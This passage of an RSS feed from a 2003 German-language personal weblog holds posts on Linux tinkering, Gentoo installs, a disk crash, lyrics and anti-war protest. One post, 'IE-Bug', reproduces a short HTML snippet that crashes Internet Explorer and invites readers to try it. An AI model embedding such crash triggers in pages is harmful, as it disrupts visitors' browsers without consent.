  15430.    <dc:creator>Andreas Jaggi</dc:creator>
  15431.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15432.    <pubDate>Fri, 23 May 2003 21:41:00 +0200</pubDate>
  15433.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  15434.    <description><![CDATA[Ich hab wieder einmal meinen Computer zu Schrott gemacht.<br>Als ich am CD-Brennen war, ist plötzlich alles eingefroren, nichteinmal ctrl+alt+backspace zum abscheissen von X hat funktioniert. Leider hat aber irgendetwas ununterbrochen auf die Festplatte zugegriffen. Als ich dann eine Stunde später wieder alles gleich vorfand, habe ich versucht mittels Büroklammer und diesem Resetlöchlein am CD-Brenner das Ding abzubrechen; ging in die Hose: irgendwie kam die CD ausm Gleichgewicht und hat im CD-Brenner zwar weiterhin gedreht, aber an allen Enden und Ecken angeschlagen, sprich CD-Brenner demoliert. Das hat natürlich nen riesigen Krach verursacht und so nach 5 Minuten konnt ichs nicht mehr länger ertragen, und auch meine Nachbarn hats wahrscheinlich nicht gerade gefreut (es war ca. Mitternacht). Also hab ich den Resetknopf am Gehäuse gedrückt, so dass die Festplatte immernoch mit Strom versorgt wurde -> vermutlich kein Headcrash.<br>Als das System neu bootete, verlief alles eigentlich normal, nur dass ich nach dem Login / nicht finden konnte also nix mit /sbin/shutdown -h etc. einfach weg. Also noch einmal resetet, und da wird der Kernel geladen, bis er dann mit dieser wunderschönen Fehlermeldung aufhört:<br><br>Kernel panic: VFS: Unable to mount root fs on 03:03<br><br>Und dann hab ich den Rechner abgestellt (am Netzteil) und den Stecker rausgezogen.
  15435. ]]></description>
  15436.    <content:encoded><![CDATA[Ich hab wieder einmal meinen Computer zu Schrott gemacht.<br>Als ich am CD-Brennen war, ist plötzlich alles eingefroren, nichteinmal ctrl+alt+backspace zum abscheissen von X hat funktioniert. Leider hat aber irgendetwas ununterbrochen auf die Festplatte zugegriffen. Als ich dann eine Stunde später wieder alles gleich vorfand, habe ich versucht mittels Büroklammer und diesem Resetlöchlein am CD-Brenner das Ding abzubrechen; ging in die Hose: irgendwie kam die CD ausm Gleichgewicht und hat im CD-Brenner zwar weiterhin gedreht, aber an allen Enden und Ecken angeschlagen, sprich CD-Brenner demoliert. Das hat natürlich nen riesigen Krach verursacht und so nach 5 Minuten konnt ichs nicht mehr länger ertragen, und auch meine Nachbarn hats wahrscheinlich nicht gerade gefreut (es war ca. Mitternacht). Also hab ich den Resetknopf am Gehäuse gedrückt, so dass die Festplatte immernoch mit Strom versorgt wurde -> vermutlich kein Headcrash.<br>Als das System neu bootete, verlief alles eigentlich normal, nur dass ich nach dem Login / nicht finden konnte also nix mit /sbin/shutdown -h etc. einfach weg. Also noch einmal resetet, und da wird der Kernel geladen, bis er dann mit dieser wunderschönen Fehlermeldung aufhört:<br><br>Kernel panic: VFS: Unable to mount root fs on 03:03<br><br>Und dann hab ich den Rechner abgestellt (am Netzteil) und den Stecker rausgezogen.
  15437. ]]></content:encoded>
  15438.  </item>
  15439.  
  15440.  <item>
  15441.    <title>Kein Titel</title>
  15442.    <link>https://blog.x-way.org/Misc/2003/05/21/Kein_Titel.html</link>
  15443.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323954</guid>
  15444.    <dc:creator>Andreas Jaggi</dc:creator>
  15445.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15446.    <pubDate>Wed, 21 May 2003 10:26:00 +0200</pubDate>
  15447.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15448.    <description><![CDATA[Wieder einmal ein <a href="https://blog.x-way.org/images/21052003101358.jpg"><b>Screenshot</b></a>.
  15449. <br><br>
  15450. Chaos A.D.<br>Tanks On The Streets<br>Confronting Police<br>Bleeding The Plebs<br>Raging Crowd<br>Burning Cars<br>Bloodshed Starts<br>Who'll Be Alive?!<br><br>Chaos A.D.<br>Army In Siege<br>Total Alarm<br>I'm Sick Of This<br>Inside The State<br>War Is Created<br>No Man's Land<br>What Is This Shit?!<br><br>Refuse/resist<br>Refuse<br><br>Chaos A.D.<br>Disorder Unleashed<br>Starting To Burn<br>Starting To Lynch<br>Silence Means Death<br>Stand On Your Feet<br>Inner Fear<br>Your Worst Enemy<br><br>Refuse/resist
  15451. ]]></description>
  15452.    <content:encoded><![CDATA[Wieder einmal ein <a href="https://blog.x-way.org/images/21052003101358.jpg"><b>Screenshot</b></a>.
  15453. <br><br>
  15454. Chaos A.D.<br>Tanks On The Streets<br>Confronting Police<br>Bleeding The Plebs<br>Raging Crowd<br>Burning Cars<br>Bloodshed Starts<br>Who'll Be Alive?!<br><br>Chaos A.D.<br>Army In Siege<br>Total Alarm<br>I'm Sick Of This<br>Inside The State<br>War Is Created<br>No Man's Land<br>What Is This Shit?!<br><br>Refuse/resist<br>Refuse<br><br>Chaos A.D.<br>Disorder Unleashed<br>Starting To Burn<br>Starting To Lynch<br>Silence Means Death<br>Stand On Your Feet<br>Inner Fear<br>Your Worst Enemy<br><br>Refuse/resist
  15455. ]]></content:encoded>
  15456.  </item>
  15457.  
  15458.  <item>
  15459.    <title>Menuet OS</title>
  15460.    <link>https://blog.x-way.org/Linux/2003/05/13/Menuet_OS.html</link>
  15461.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323953</guid>
  15462.    <dc:creator>Andreas Jaggi</dc:creator>
  15463.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15464.    <pubDate>Tue, 13 May 2003 18:27:00 +0200</pubDate>
  15465.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15466.    <description><![CDATA[Gerade beim <a href="http://schockwellenreiter.de/"><b>Schockwellenreiter</b></a> entdeckt und ausprobiert: <a href="http://www.menuetos.org/"><b>Menuet OS</b></a><br><br>Ein 32-Bit-Echtzeit-Betriebssystem mit GUI, komplett in Assembler geschrieben, welches auf einer einzigen Floppy Platz findet!
  15467. ]]></description>
  15468.    <content:encoded><![CDATA[Gerade beim <a href="http://schockwellenreiter.de/"><b>Schockwellenreiter</b></a> entdeckt und ausprobiert: <a href="http://www.menuetos.org/"><b>Menuet OS</b></a><br><br>Ein 32-Bit-Echtzeit-Betriebssystem mit GUI, komplett in Assembler geschrieben, welches auf einer einzigen Floppy Platz findet!
  15469. ]]></content:encoded>
  15470.  </item>
  15471.  
  15472.  <item>
  15473.    <title>f.waterwave.ch</title>
  15474.    <link>https://blog.x-way.org/School/2003/05/05/fwaterwavech.html</link>
  15475.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323952</guid>
  15476.    <dc:creator>Andreas Jaggi</dc:creator>
  15477.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15478.    <pubDate>Mon, 05 May 2003 00:39:00 +0200</pubDate>
  15479.    <category domain="https://blog.x-way.org/School/">School</category>
  15480.    <description><![CDATA[<a href="https://web.archive.org/web/20060219141244/http://f.waterwave.ch/"><b>f.waterwave.ch</b></a> ist nun die Website unserer Klasse doch noch etwas geworden.<br>Zuerst schien es ja so, als ob nie mehr etwas geschehen würde, doch in der letzten Schulwoche (von drei Jahren) haben wir es doch noch geschafft ;-)<br><br>Ist 'quick and dirty' programmiert aber noch lange nicht fertig...
  15481. ]]></description>
  15482.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20060219141244/http://f.waterwave.ch/"><b>f.waterwave.ch</b></a> ist nun die Website unserer Klasse doch noch etwas geworden.<br>Zuerst schien es ja so, als ob nie mehr etwas geschehen würde, doch in der letzten Schulwoche (von drei Jahren) haben wir es doch noch geschafft ;-)<br><br>Ist 'quick and dirty' programmiert aber noch lange nicht fertig...
  15483. ]]></content:encoded>
  15484.  </item>
  15485.  
  15486.  <item>
  15487.    <title>Gentoo install.sh</title>
  15488.    <link>https://blog.x-way.org/Linux/2003/04/29/Gentoo_installsh.html</link>
  15489.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323951</guid>
  15490.    <dc:creator>Andreas Jaggi</dc:creator>
  15491.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15492.    <pubDate>Tue, 29 Apr 2003 20:58:00 +0200</pubDate>
  15493.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15494.    <description><![CDATA[<a href="https://blog.x-way.org/stuff/install.sh"><b>install.sh</b></a> mein kleines Shell-Script um die Installation von Gentoo etwas zu automatisieren *g*<br><br>Der erste Parameter ist der zu kompilierende Kernel (gentoo-sources, gaming-sources, vanilla-sourves oder was auch immer) default ist gentoo-sources. Der zweite Parameter legt fest, wohin gelogt wird, default ist /root/status. Der dritte Parameter legt fest, ob und welche make.conf nach /etc/make.conf kopiert wird.<br>Alle Parameter sind optional, will man jedoch den zweiten Parameter verwenden, so muss der erste auch gesetzt werden, ebenso für den dritten, aber das sollte eigentlich klar sein ;-)<br><br>Und ja, es ist keinsterweise irgendwie schön programmiert, da es nur mal so ein Versuch war, den aber gewisse Leute unbedingt sehen wollen *g*
  15495. ]]></description>
  15496.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/stuff/install.sh"><b>install.sh</b></a> mein kleines Shell-Script um die Installation von Gentoo etwas zu automatisieren *g*<br><br>Der erste Parameter ist der zu kompilierende Kernel (gentoo-sources, gaming-sources, vanilla-sourves oder was auch immer) default ist gentoo-sources. Der zweite Parameter legt fest, wohin gelogt wird, default ist /root/status. Der dritte Parameter legt fest, ob und welche make.conf nach /etc/make.conf kopiert wird.<br>Alle Parameter sind optional, will man jedoch den zweiten Parameter verwenden, so muss der erste auch gesetzt werden, ebenso für den dritten, aber das sollte eigentlich klar sein ;-)<br><br>Und ja, es ist keinsterweise irgendwie schön programmiert, da es nur mal so ein Versuch war, den aber gewisse Leute unbedingt sehen wollen *g*
  15497. ]]></content:encoded>
  15498.  </item>
  15499.  
  15500.  <item>
  15501.    <title>Gentoo auf 486 mit Stage 1</title>
  15502.    <link>https://blog.x-way.org/Linux/2003/04/26/Gentoo_auf_486_mit_Stage_1.html</link>
  15503.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323950</guid>
  15504.    <dc:creator>Andreas Jaggi</dc:creator>
  15505.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15506.    <pubDate>Sat, 26 Apr 2003 11:27:00 +0200</pubDate>
  15507.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15508.    <description><![CDATA[Da ich ja genügend Zeit habe, den Rechner dauernd laufen zu lassen, habe ich <a href="http://www.gentoo.org/"><b>Gentoo</b></a> auf meinem alten 486er installiert, resp. bin noch dran ;-)<br><br>Und damit ich so weiss wie lange das ganze dauert habe ich ein simples Shell-Script geschrieben, dass mir die Bootstrap, emerge system, emerge sync, emerge -u world und emerge sys-kernel/gentoo-sources ausführt und jeweils die Uhrzeit in eine Datei schreibt. Herausgekommen ist nun folgendes:<br><br>Beginn Bootstrap<br>Wed Apr 23 03:49:00 CEST 2003<br>Beginn emerge system<br>Fri Apr 25 05:46:54 CEST 2003<br>Beginn emerge sync<br>Sat Apr 26 07:59:05 CEST 2003<br>Beginn emerge -u world<br>Sat Apr 26 08:21:35 CEST 2003<br>Beginn emerge sys-kernel/gentoo-sources<br>Sat Apr 26 08:21:35 CEST 2003<br>Finished<br>Sat Apr 26 09:18:42 CEST 2003<br><br>Natürlich dauerte das emerge system "nur" so kurz, weil es ein Minimalsystem ohne graphische Oberfläsche etc. ist, insgesamt 76 Packages!
  15509. ]]></description>
  15510.    <content:encoded><![CDATA[Da ich ja genügend Zeit habe, den Rechner dauernd laufen zu lassen, habe ich <a href="http://www.gentoo.org/"><b>Gentoo</b></a> auf meinem alten 486er installiert, resp. bin noch dran ;-)<br><br>Und damit ich so weiss wie lange das ganze dauert habe ich ein simples Shell-Script geschrieben, dass mir die Bootstrap, emerge system, emerge sync, emerge -u world und emerge sys-kernel/gentoo-sources ausführt und jeweils die Uhrzeit in eine Datei schreibt. Herausgekommen ist nun folgendes:<br><br>Beginn Bootstrap<br>Wed Apr 23 03:49:00 CEST 2003<br>Beginn emerge system<br>Fri Apr 25 05:46:54 CEST 2003<br>Beginn emerge sync<br>Sat Apr 26 07:59:05 CEST 2003<br>Beginn emerge -u world<br>Sat Apr 26 08:21:35 CEST 2003<br>Beginn emerge sys-kernel/gentoo-sources<br>Sat Apr 26 08:21:35 CEST 2003<br>Finished<br>Sat Apr 26 09:18:42 CEST 2003<br><br>Natürlich dauerte das emerge system "nur" so kurz, weil es ein Minimalsystem ohne graphische Oberfläsche etc. ist, insgesamt 76 Packages!
  15511. ]]></content:encoded>
  15512.  </item>
  15513.  
  15514.  <item>
  15515.    <title>IE-Bug</title>
  15516.    <link>https://blog.x-way.org/Misc/2003/04/23/45.html</link>
  15517.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323949</guid>
  15518.    <dc:creator>Andreas Jaggi</dc:creator>
  15519.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15520.    <pubDate>Wed, 23 Apr 2003 02:42:00 +0200</pubDate>
  15521.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15522.    <description><![CDATA[Bei <a href="https://web.archive.org/web/20021129212148/http://rm.digigeek.net/"><b>rm</b></a> hab ich gerade 'n netten IE-Bug gefunden, der nur mit HTML den IE zum Absturz bringt.<br>Natürlich musste ich das gleich ausprobieren und nun seht selbst, was aufm Computer meiner Eltern (jep, bei mir hat es nur noch Linux!) passiert ist *eg*<br><br><a href="https://blog.x-way.org/images/ie-bug.gif"><b>Screenshot</b></a><br><br><a href="https://web.archive.org/web/20030622132016/http://roman.mainer.de/misc/funstuff/ie_crash_html_only.html"><b>Selber machen</b></a>
  15523. <br><br>
  15524. <pre>
  15525. &lt;html&gt;
  15526. &lt;form&gt;
  15527. &lt;input type crash&gt;
  15528. &lt;/form&gt;
  15529. &lt;/html&gt;
  15530. </pre>
  15531. ]]></description>
  15532.    <content:encoded><![CDATA[Bei <a href="https://web.archive.org/web/20021129212148/http://rm.digigeek.net/"><b>rm</b></a> hab ich gerade 'n netten IE-Bug gefunden, der nur mit HTML den IE zum Absturz bringt.<br>Natürlich musste ich das gleich ausprobieren und nun seht selbst, was aufm Computer meiner Eltern (jep, bei mir hat es nur noch Linux!) passiert ist *eg*<br><br><a href="https://blog.x-way.org/images/ie-bug.gif"><b>Screenshot</b></a><br><br><a href="https://web.archive.org/web/20030622132016/http://roman.mainer.de/misc/funstuff/ie_crash_html_only.html"><b>Selber machen</b></a>
  15533. <br><br>
  15534. <pre>
  15535. &lt;html&gt;
  15536. &lt;form&gt;
  15537. &lt;input type crash&gt;
  15538. &lt;/form&gt;
  15539. &lt;/html&gt;
  15540. </pre>
  15541. ]]></content:encoded>
  15542.  </item>
  15543.  
  15544.  <item>
  15545.    <title>Ferienstress</title>
  15546.    <link>https://blog.x-way.org/Misc/2003/04/20/Ferienstress.html</link>
  15547.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323948</guid>
  15548.    <dc:creator>Andreas Jaggi</dc:creator>
  15549.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15550.    <pubDate>Sun, 20 Apr 2003 03:25:00 +0200</pubDate>
  15551.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15552.    <description><![CDATA[Nach Gymerfest und einer sonnigen Woche in Gumaglio im Maggiatal im Tessin, in der wir leider nur für die anstehenden Maturaprüfungen lernten, steht jetzt die zweite Ferienwoche bevor, in der ich wieder so viel zu tun habe, dass wahrscheinlich nicht mehr viel Zeit fürs Internet, Weblog etc. übrigbleibt.<br>Ich versuche nicht wie <a href="https://web.archive.org/web/20021129212148/http://rm.digigeek.net/"><b>rm</b></a> gleich alles einzustellen (was für mich sicher auch die bessere Wahl wäre *g*), sondern quasi live ausm Prüffungsstress euch etwas mitzuteilen, dies jedoch nicht mehr so oft wie auch schon ;-)
  15553. ]]></description>
  15554.    <content:encoded><![CDATA[Nach Gymerfest und einer sonnigen Woche in Gumaglio im Maggiatal im Tessin, in der wir leider nur für die anstehenden Maturaprüfungen lernten, steht jetzt die zweite Ferienwoche bevor, in der ich wieder so viel zu tun habe, dass wahrscheinlich nicht mehr viel Zeit fürs Internet, Weblog etc. übrigbleibt.<br>Ich versuche nicht wie <a href="https://web.archive.org/web/20021129212148/http://rm.digigeek.net/"><b>rm</b></a> gleich alles einzustellen (was für mich sicher auch die bessere Wahl wäre *g*), sondern quasi live ausm Prüffungsstress euch etwas mitzuteilen, dies jedoch nicht mehr so oft wie auch schon ;-)
  15555. ]]></content:encoded>
  15556.  </item>
  15557.  
  15558.  <item>
  15559.    <title>XPde</title>
  15560.    <link>https://blog.x-way.org/Linux/2003/04/05/XPde.html</link>
  15561.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323947</guid>
  15562.    <dc:creator>Andreas Jaggi</dc:creator>
  15563.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15564.    <pubDate>Sat, 05 Apr 2003 17:44:00 +0200</pubDate>
  15565.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15566.    <description><![CDATA[Heute habe ich <a href="http://xpde.com/"><b>XPde</b></a> ausprobiert. Es ist ein dem Windows XP old-style Look nachempfundener Window-Manager.<br>Sieht nett aus, hat aber noch einige Bugs (daher ist es bei Portage auch noch gemasked).<br><br><a href="https://blog.x-way.org/images/xpde.png"><b>Monitorschuss?</b></a>
  15567. ]]></description>
  15568.    <content:encoded><![CDATA[Heute habe ich <a href="http://xpde.com/"><b>XPde</b></a> ausprobiert. Es ist ein dem Windows XP old-style Look nachempfundener Window-Manager.<br>Sieht nett aus, hat aber noch einige Bugs (daher ist es bei Portage auch noch gemasked).<br><br><a href="https://blog.x-way.org/images/xpde.png"><b>Monitorschuss?</b></a>
  15569. ]]></content:encoded>
  15570.  </item>
  15571.  
  15572.  <item>
  15573.    <title>Mozilla macht Kaffee</title>
  15574.    <link>https://blog.x-way.org/Linux/2003/04/02/Mozilla_macht_Kaffee.html</link>
  15575.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323946</guid>
  15576.    <dc:creator>Andreas Jaggi</dc:creator>
  15577.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15578.    <pubDate>Wed, 02 Apr 2003 22:40:00 +0200</pubDate>
  15579.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15580.    <description><![CDATA[Bei einigen Unix-Distributionen (Debian, Gentoo, Solaris...) will Mozilla/Phoenix nicht mit dem Plugin der auf dem System installierten Java-VM zusammenarbeiten und verlangt den Download einer eigenen Java-VM. Ich habe bisher schon viele verschiedenen Lösungsansätze gesehen, jedoch hat bei mir noch keiner funktioniert :-)<br>Vorhin jedoch ist über die LUGS-Mailingliste gerade einer ins Postfach geflattert, der so simpel wie funktionstüchtig ist:<br><br>Anstatt die ganze Plugin-Geschichte herumzukopieren oder herumzuinstallieren, macht man einfach im /usr/lib/phoenix/plugins oder /usr/lib/mozilla/plugins Verzeichnis einen Link (libjavaplugin_oji.so) zu /JAVAPFAD/xx/yy/zz/javaplugin_oji.so, variert je nach Distribution und Java-VM!<br><br>Bei mir funktioniert nun Java endlich auch im Phoenix *freu*
  15581. ]]></description>
  15582.    <content:encoded><![CDATA[Bei einigen Unix-Distributionen (Debian, Gentoo, Solaris...) will Mozilla/Phoenix nicht mit dem Plugin der auf dem System installierten Java-VM zusammenarbeiten und verlangt den Download einer eigenen Java-VM. Ich habe bisher schon viele verschiedenen Lösungsansätze gesehen, jedoch hat bei mir noch keiner funktioniert :-)<br>Vorhin jedoch ist über die LUGS-Mailingliste gerade einer ins Postfach geflattert, der so simpel wie funktionstüchtig ist:<br><br>Anstatt die ganze Plugin-Geschichte herumzukopieren oder herumzuinstallieren, macht man einfach im /usr/lib/phoenix/plugins oder /usr/lib/mozilla/plugins Verzeichnis einen Link (libjavaplugin_oji.so) zu /JAVAPFAD/xx/yy/zz/javaplugin_oji.so, variert je nach Distribution und Java-VM!<br><br>Bei mir funktioniert nun Java endlich auch im Phoenix *freu*
  15583. ]]></content:encoded>
  15584.  </item>
  15585.  
  15586.  <item>
  15587.    <title>April, April!</title>
  15588.    <link>https://blog.x-way.org/Misc/2003/04/01/April_April.html</link>
  15589.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=323945</guid>
  15590.    <dc:creator>Andreas Jaggi</dc:creator>
  15591.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15592.    <pubDate>Tue, 01 Apr 2003 00:25:00 +0200</pubDate>
  15593.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15594.    <description><![CDATA[Für alle, die sich morgen über die abstrusesten Zeitungsartikel wundern.
  15595. ]]></description>
  15596.    <content:encoded><![CDATA[Für alle, die sich morgen über die abstrusesten Zeitungsartikel wundern.
  15597. ]]></content:encoded>
  15598.  </item>
  15599.  
  15600.  <item>
  15601.    <title>uptime</title>
  15602.    <link>https://blog.x-way.org/Linux/2003/03/29/uptime.html</link>
  15603.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=297</guid>
  15604.    <dc:creator>Andreas Jaggi</dc:creator>
  15605.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15606.    <pubDate>Sat, 29 Mar 2003 15:13:00 +0100</pubDate>
  15607.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15608.    <description><![CDATA[<a href="https://blog.x-way.org/images/uptime.png"><b>uptime</b></a>
  15609. ]]></description>
  15610.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/uptime.png"><b>uptime</b></a>
  15611. ]]></content:encoded>
  15612.  </item>
  15613.  
  15614.  <item>
  15615.    <title>Informationen zum Thema Spam</title>
  15616.    <link>https://blog.x-way.org/Misc/2003/03/29/Informationen_zum_Thema_Spam.html</link>
  15617.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=296</guid>
  15618.    <dc:creator>Andreas Jaggi</dc:creator>
  15619.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15620.    <pubDate>Sat, 29 Mar 2003 01:28:00 +0100</pubDate>
  15621.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15622.    <description><![CDATA[Aus aktuellen Anlass (ich habe Spam direkt von der Domain unserer Schule bekommen!) habe ich mich noch einmal ein bisschen umgeschaut und bin auch fündig geworden.<br><br><a href="https://web.archive.org/web/20030426141011/http://www.trash.net/~roman/"><b>Informationen zum Thema Spam (inkl. Antwortvorlage für die Schweiz!)</b></a><br><a href="#" class="gone"><b>Artikel im Saldo (kostenpflichtig)</b></a>
  15623. ]]></description>
  15624.    <content:encoded><![CDATA[Aus aktuellen Anlass (ich habe Spam direkt von der Domain unserer Schule bekommen!) habe ich mich noch einmal ein bisschen umgeschaut und bin auch fündig geworden.<br><br><a href="https://web.archive.org/web/20030426141011/http://www.trash.net/~roman/"><b>Informationen zum Thema Spam (inkl. Antwortvorlage für die Schweiz!)</b></a><br><a href="#" class="gone"><b>Artikel im Saldo (kostenpflichtig)</b></a>
  15625. ]]></content:encoded>
  15626.  </item>
  15627.  
  15628.  <item>
  15629.    <title>SelfLinux</title>
  15630.    <link>https://blog.x-way.org/Linux/2003/03/28/SelfLinux.html</link>
  15631.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=295</guid>
  15632.    <dc:creator>Andreas Jaggi</dc:creator>
  15633.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15634.    <pubDate>Fri, 28 Mar 2003 01:18:00 +0100</pubDate>
  15635.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  15636.    <description><![CDATA[So wie <a href="http://selfhtml.org/"><b>SelfHTML</b></a> für HTML gibt es auch <a href="https://web.archive.org/web/20030411084011/http://www.selflinux.de/"><b>SelfLinux</b></a>. Befindet sich momentan noch im Aufbau, bietet aber trotzdem schon einige nützliche Informationen.
  15637. ]]></description>
  15638.    <content:encoded><![CDATA[So wie <a href="http://selfhtml.org/"><b>SelfHTML</b></a> für HTML gibt es auch <a href="https://web.archive.org/web/20030411084011/http://www.selflinux.de/"><b>SelfLinux</b></a>. Befindet sich momentan noch im Aufbau, bietet aber trotzdem schon einige nützliche Informationen.
  15639. ]]></content:encoded>
  15640.  </item>
  15641.  
  15642.  <item>
  15643.    <title>Bush, Blair, assasins, mais l'ONU ne fait rien!</title>
  15644.    <link>https://blog.x-way.org/Misc/2003/03/26/Bush_Blair_assasins_mais_lONU_ne_fait_rien.html</link>
  15645.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=294</guid>
  15646.    <dc:creator>Andreas Jaggi</dc:creator>
  15647.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15648.    <pubDate>Wed, 26 Mar 2003 23:34:00 +0100</pubDate>
  15649.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15650.    <description><![CDATA[<p><a href="https://blog.x-way.org/stuff/ChronikEinesAngek%FCndigtenKrieges.pdf"><b>Chronik eines angekündigten Krieges</b></a></p><p><a href="https://blog.x-way.org/stuff/PACE.pdf"><b>PACE</b></a></p><p><a href="https://blog.x-way.org/stuff/Wanted.pdf"><b>WANTED</b></a></p><p>Weitere PDFs zur Weltpolitik findet man <a href="http://anotherposterforpeace.com/"><b>hier</b></a> und <a href="https://web.archive.org/web/20030327100912/http://protestposters.org/"><b>hier</b></a>.</p>
  15651. ]]></description>
  15652.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/stuff/ChronikEinesAngek%FCndigtenKrieges.pdf"><b>Chronik eines angekündigten Krieges</b></a></p><p><a href="https://blog.x-way.org/stuff/PACE.pdf"><b>PACE</b></a></p><p><a href="https://blog.x-way.org/stuff/Wanted.pdf"><b>WANTED</b></a></p><p>Weitere PDFs zur Weltpolitik findet man <a href="http://anotherposterforpeace.com/"><b>hier</b></a> und <a href="https://web.archive.org/web/20030327100912/http://protestposters.org/"><b>hier</b></a>.</p>
  15653. ]]></content:encoded>
  15654.  </item>
  15655.  
  15656.  <item>
  15657.    <title>So siehts aus</title>
  15658.    <link>https://blog.x-way.org/Misc/2003/03/23/So_siehts_aus.html</link>
  15659.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=289</guid>
  15660.    <dc:creator>Andreas Jaggi</dc:creator>
  15661.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15662.    <pubDate>Sun, 23 Mar 2003 21:27:00 +0100</pubDate>
  15663.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15664.    <description><![CDATA[<a href="https://web.archive.org/web/20030807050756/http://360degrees.gmgn.de/" title="360degrees.gmgn.de (archive.org)">gi</a> hat ein <a href="#" class="gone"><b>Bild</b></a> der Welt gemacht.
  15665. ]]></description>
  15666.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20030807050756/http://360degrees.gmgn.de/" title="360degrees.gmgn.de (archive.org)">gi</a> hat ein <a href="#" class="gone"><b>Bild</b></a> der Welt gemacht.
  15667. ]]></content:encoded>
  15668.  </item>
  15669.  
  15670.  <item>
  15671.    <title>Tous ensemble, tous ensemble, non à la guerre!</title>
  15672.    <link>https://blog.x-way.org/Misc/2003/03/22/Tous_ensemble_tous_ensemble_non_a_la_guerre.html</link>
  15673.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=287</guid>
  15674.    <dc:creator>Andreas Jaggi</dc:creator>
  15675.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15676.    <pubDate>Sat, 22 Mar 2003 21:17:00 +0100</pubDate>
  15677.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  15678.    <description><![CDATA[Jeudi et vendredi j'étais à Lausanne pour visiter les 'journées des gymnasien(ne)s' à l'<a href="http://www.epfl.ch/"><b>EPFL</b></a>. Bon, je pense que je ferais là mes études.<br>Déjà à 9 heures le matin, en traversant la place de la gare on entendait 'les voix de la manifestation' mais je n'avais pas le temps pour y participer. Le vendredi je me suis bien informé sur les études en informatique. Donc aujoud'hui je suis allé à Berne à la <a href="http://gssa.ch/agenda.php#ag96"><b>manifestation nationale contre la guerre</b></a>.
  15679. ]]></description>
  15680.    <content:encoded><![CDATA[Jeudi et vendredi j'étais à Lausanne pour visiter les 'journées des gymnasien(ne)s' à l'<a href="http://www.epfl.ch/"><b>EPFL</b></a>. Bon, je pense que je ferais là mes études.<br>Déjà à 9 heures le matin, en traversant la place de la gare on entendait 'les voix de la manifestation' mais je n'avais pas le temps pour y participer. Le vendredi je me suis bien informé sur les études en informatique. Donc aujoud'hui je suis allé à Berne à la <a href="http://gssa.ch/agenda.php#ag96"><b>manifestation nationale contre la guerre</b></a>.
  15681. ]]></content:encoded>
  15682.  </item>
  15683.  
  15684.  <item>
  15685.    <title>Auch Programmierer sind Menschen</title>
  15686.    <link>https://blog.x-way.org/Coding/2003/03/16/Auch_Programmierer_sind_Menschen.html</link>
  15687.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=286</guid>
  15688.    <dc:creator>Andreas Jaggi</dc:creator>
  15689.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  15690.    <pubDate>Sun, 16 Mar 2003 13:42:00 +0100</pubDate>
